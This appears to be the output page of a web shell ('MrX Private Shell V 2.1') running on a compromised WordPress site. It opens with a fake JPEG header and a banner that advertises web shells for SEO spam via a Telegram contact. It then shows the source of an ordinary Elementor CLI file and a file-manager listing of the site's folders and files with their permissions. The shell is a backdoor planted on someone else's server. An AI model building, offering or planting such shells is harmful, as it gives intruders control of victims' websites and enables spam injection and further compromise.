����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Elementor\Modules\WpCli;
use Elementor\Plugin;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly
}
/**
* Elementor Page Builder cli tools.
*/
class Update extends \WP_CLI_Command {
/**
* Update the DB after plugin upgrade.
*
* [--network]
* Update DB in all the sites in the network.
*
* [--force]
* Force update even if it's looks like that update is in progress.
*
*
* ## EXAMPLES
*
* 1. wp elementor update db
* - This will Upgrade the DB if needed.
*
* 2. wp elementor update db --force
* - This will Upgrade the DB even if another process is running.
*
* 3. wp elementor update db --network
* - This will Upgrade the DB for each site in the network if needed.
*
* @since 2.4.0
* @access public
*
* @param $args
* @param $assoc_args
*/
public function db( $args, $assoc_args ) {
$network = ! empty( $assoc_args['network'] ) && is_multisite();
if ( $network ) {
$blog_ids = get_sites( [
'fields' => 'ids',
'number' => 0,
] );
foreach ( $blog_ids as $blog_id ) {
switch_to_blog( $blog_id );
\WP_CLI::line( 'Site #' . $blog_id . ' - ' . get_option( 'blogname' ) );
$this->do_db_upgrade( $assoc_args );
\WP_CLI::success( 'Done! - ' . get_option( 'home' ) );
restore_current_blog();
}
} else {
$this->do_db_upgrade( $assoc_args );
}
}
protected function get_update_db_manager_class() {
return '\Elementor\Core\Upgrade\Manager';
}
protected function do_db_upgrade( $assoc_args ) {
$manager_class = $this->get_update_db_manager_class();
/** @var \Elementor\Core\Upgrade\Manager $manager */
$manager = new $manager_class();
$updater = $manager->get_task_runner();
if ( $updater->is_process_locked() && empty( $assoc_args['force'] ) ) {
\WP_CLI::warning( 'Oops! Process is already running. Use --force to force run.' );
return;
}
if ( ! $manager->should_upgrade() ) {
\WP_CLI::success( 'The DB is already updated!' );
return;
}
$callbacks = $manager->get_upgrade_callbacks();
$did_tasks = false;
if ( ! empty( $callbacks ) ) {
Plugin::$instance->logger->get_logger()->info( 'Update DB has been started', [
'meta' => [
'plugin' => $manager->get_plugin_label(),
'from' => $manager->get_current_version(),
'to' => $manager->get_new_version(),
],
] );
$updater->handle_immediately( $callbacks );
$did_tasks = true;
}
$manager->on_runner_complete( $did_tasks );
\WP_CLI::success( count( $callbacks ) . ' updates(s) has been applied.' );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .tmb | Folder | 0755 |
|
|
| 2017 | Folder | 0755 |
|
|
| ID3 | Folder | 0705 |
|
|
| archive | Folder | 0755 |
|
|
| colors | Folder | 0755 |
|
|
| css | Folder | 0755 |
|
|
| fiox | Folder | 0755 |
|
|
| images | Folder | 0755 |
|
|
| inc | Folder | 0705 |
|
|
| spacer | Folder | 0755 |
|
|
| template-parts | Folder | 0755 |
|
|
| user | Folder | 0755 |
|
|
| v3 | Folder | 0755 |
|
|
| wp-content-20260529152145-20260621215028-20260701173623-20260704115049 | Folder | 0755 |
|
|
| about-rtl.css | File | 25.99 KB | 0644 |
|
| about-rtl.min.css | File | 19.85 KB | 0644 |
|
| about.css | File | 25.95 KB | 0644 |
|
| admin-menu-rtl.css | File | 18.39 KB | 0644 |
|
| admin-menu-rtl.min.css | File | 14.89 KB | 0644 |
|
| admin-menu.css | File | 18.34 KB | 0644 |
|
| admin-menu.min.css | File | 14.87 KB | 0644 |
|
| class-wp-privacy-data-removal-requests-list-table.php | File | 5.58 KB | 0644 |
|
| code-editor-rtl.css | File | 1.58 KB | 0644 |
|
| code-editor-rtl.min.css | File | 1.41 KB | 0644 |
|
| code-editor.css | File | 1.54 KB | 0644 |
|
| code-editor.min.css | File | 1.4 KB | 0644 |
|
| color-picker-rtl.css | File | 3.78 KB | 0644 |
|
| color-picker-rtl.min.css | File | 3.06 KB | 0644 |
|
| color-picker.css | File | 3.74 KB | 0644 |
|
| color-picker.min.css | File | 3.05 KB | 0644 |
|
| faq.php | File | 2.91 KB | 0644 |
|
| languages.php | File | 3.03 KB | 0644 |
|
| person.php | File | 9.55 KB | 0644 |
|
| update.php | File | 2.54 KB | 0644 |
|
| wordpress-helper.php | File | 512 B | 0644 |
|